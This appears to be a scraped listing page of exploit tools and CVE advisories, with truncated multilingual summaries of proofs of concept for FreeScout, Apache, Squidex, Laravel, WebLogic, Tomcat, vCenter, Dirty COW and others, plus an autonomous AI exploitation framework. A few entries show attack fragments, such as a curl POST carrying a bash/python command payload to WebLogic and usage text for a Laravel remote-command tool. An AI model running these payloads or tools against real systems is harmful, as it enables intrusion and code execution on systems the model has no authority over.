CVE-2026-90533

Flowise before 3.1.4 contains a broken access control vulnerability in GET /api/v1/organizationuser that allows any authenticated organization member to retrieve the organization owner's full user record including bcrypt password hash and temporary tokens. Attackers can query the endpoint with an...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — FreeScout 匿名 ATO → RCE 通过串联两个漏洞实现在 FreeScout ≤ 1.8.223 （一个 Laravel 帮助台）上的未认证远程代码执行，这两个漏洞均在 1.8.224 中修复： CVE-2026-53595 — 匿名账户接管 。POST /user-setup/hash/invitesentat 仅通过 invitehash 列选取账户。一个已激活 的用户其 invitehash = ''，而在 MySQL/MariaDB 上 VARCHAR 相等比较忽略尾部空格 ，因此 hash = %2...

CVE-2025-57310

CVE-2025-57310 Una vulnerabilidad de Cross-Site Request Forgery CSRF en Salmen2/Simple-Faucet-Script v1.07 a través de una solicitud POST manipulada a admin.php?p=ads&c=1 que permite a los atacantes ejecutar código arbitrario. CWE CWE-352: Cross-Site Request Forgery CSRF CVSS v3.1 Puntuación Base...

KillApachePy

如果你关注安全趋势，那么你可能听说过通过使用特制的Range头（CVE-2011-3192）对大量Apache版本发起的DoS攻击。基于原始的PoC（killapache.pl），我制作了一个Python版本，它更用户友好，并有一些程序工作流的增强（自动使用系统允许的最大线程数、设置自定义HTTP方法（GET/HEAD/...）、自定义目标页面检索、代理支持等）。 p.s. 建议使用Python v2.5.x-v2.7.x运行此工具。...

CVE-2023-24278

CVE-2023-24278 - Squidex 中的反射型 XSS 漏洞 概述 CVE ID: CVE-2023-24278 受影响产品: Squidex 7.4.0 之前的所有版本 报告者: Ioannis Christodoulakos 本仓库提供了关于 Squidex 开源无头 CMS 软件中发现的两个反射型跨站脚本（XSS）漏洞的信息及利用方式。这些漏洞影响 7.4.0 之前的所有版本，攻击者可通过向 /squid.svg 端点的特定查询参数中注入代码，在受害者浏览器中执行恶意 JavaScript 代码。 漏洞详情 漏洞是由于 /squid.svg 端点的 text 和...

CVE-2018-6574

此仓库包含CVE-2018-6574 "go get RCE"的PoC，该漏洞允许在下载第三方包时执行命令。这是因为cflags允许设置外部库。在此PoC中，外部库在构造函数上执行命令。...

-CVE-2024-31211

为了创建一个利用 WordPress 中 WPHTMLToken 类实例反序列化漏洞的 Metasploit 模块，我们将专注于构造一个触发反序列化缺陷的有效载荷，从而实现任意代码执行。 Metasploit 模块 将以下代码保存为 wordpresswphtmltokenrce.rb，放在 Metasploit Framework 安装目录中的 modules/exploits/multi/http 目录下。 root@kitploit: This module requires Metasploit: https://metasploit.com/download Current...

cve-2018-15133

POC - CVE-2018-15133 Uso: root@kitploit: $ ./CVE-2018-15133 -h Usage: ./CVE-2018-15133 options Options: -APIKEY string API key del sitio web de Laravel, codificada en base64 -URL string URL del sitio web de Laravel a atacar -command string Comando a ejecutar en el sitio web vulnerable; si no se...

CVE-2023-5070

CVE-2023-5070 Botones para Compartir en Redes Sociales e Iconos para Compartir en Redes Sociales = 2.8.5 - Exposición de Información Descripción: El plugin Social Media Share Buttons & Social Sharing Icons para WordPress es vulnerable a Exposición de Información Sensible en versiones hasta la 2.8...

node-pdf-generator-ssrf

CVE-2020-7740 此漏洞影响所有版本的包 node-pdf-generator。由于缺乏对提供给 node-pdf-generator 内容的用户输入验证和清理，攻击者可以构造一个 URL 传递给外部服务器，从而实现 SSRF 攻击。 Source 使用 Docker 快速开始 1. 构建容器。 2. 运行容器：docker run -p 3000:3000 cve-2020-7740 3. 注意到我们无法直接访问 localhost:3001 4. 使用 curl 发送请求：curl --location --request GET localhost:3000/test...

dirtycow-lab

Dirty COW 教育性 PoC（CVE-2016-5195） ⚠️ 法律警告 此代码仅供教育目的使用。任何恶意使用均被严格禁止，且属于违法行为。 📖 什么是 Dirty COW？ Dirty COW（CVE-2016-5195）是 Linux 内核中的一个权限提升漏洞，它利用了内核写时复制（COW）机制中的竞争条件。该漏洞影响从 2.6.22 版本（2007 年发布）到以下版本之前的 Linux 内核： 4.8.3 4.7.9 4.4.26 技术细节 该漏洞存在于内核的内存管理系统中： 1. 写时复制（COW） ：当进程使用 MAPPRIVATE 映射文件时，修改操作应当创建一份私有副...

CVE-2019-0232

CVE-2019-0232 — Apache Tomcat CGI Servlet RCE 仅用于授权的CTF/渗透测试的教育性PoC。 针对非您拥有或未获得明确书面许可的系统运行此工具是违法的。 漏洞概述 CVE-2019-0232 是 Windows 上 Apache Tomcat 中的一个远程代码执行漏洞。 当 CGI Servlet 的 enableCmdLineArguments=true（补丁前 Windows 上的默认设置）时，Tomcat 通过 Runtime.exec 将 HTTP 查询字符串直接作为命令行参数传递给 CGI 批处理文件。在 Windows...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vSphere Client 未授权文件上传导致远程代码执行（RCE） vSphere Web Client（HTML5）本质上是一个管理界面，用于管理 vSphere 安装。vSphere Client 让管理员无需直接访问 vSphere 服务器即可使用 vSphere 的关键功能。它允许管理员创建新的虚拟机并管理现有虚拟机及其资源。作为一个跨平台的 Web 应用程序，它可以通过不同受支持版本的 Web 浏览器在所有受支持的操作系统上使用。 CVE-2021-21972 是 vCenter Server...

redamon v6.14.1

Unmask the hidden before the world does An autonomous AI framework that chains reconnaissance, exploitation, and post-exploitation into a single pipeline, then goes further by triaging every finding, implementing code fixes, and opening pull requests on your repository. From first packet to merge...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 针对 CVE-2019-2725 的简易利用工具。 示例代码： root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2024-50488

CVE-2024-50488 Token Login history.pushState'', '', '/'; document.forms0.submit; 响应 root@kitploit: "status":"success","message":"Successfully regenerated token!","tokenurl":"http://kubernetes.docker.internal?token=1c8dc9406bc444d1f5cea37fae130f92"...

blitzstrike

BlitzStrike MCP security-audit toolbelt — blitz triage → eagle-e...

EUVD-2026-76867

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to properly authorize access to the videosAndroid.json.php endpoint, allowing unauthenticated guests to list password-protected videos with sensitive owner information. Attackers can retrieve video metadata including owner...

CVE-2026-90549

WWBN AVideo , a PHP-based video platform, is vulnerable to missing authorization on the videosAndroid.json.php endpoint in versions through commit c3edcc274c389816d434acadac07ee78eaf330c1. Unauthenticated attackers can send a simple GET request to the endpoint and retrieve metadata of password-pr...

CVE-2026-90549 WWBN AVideo Missing Authorization via videosAndroid.json.php Endpoint

WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to properly authorize access to the videosAndroid.json.php endpoint, allowing unauthenticated guests to list password-protected videos with sensitive owner information. Attackers can retrieve video metadata including owner...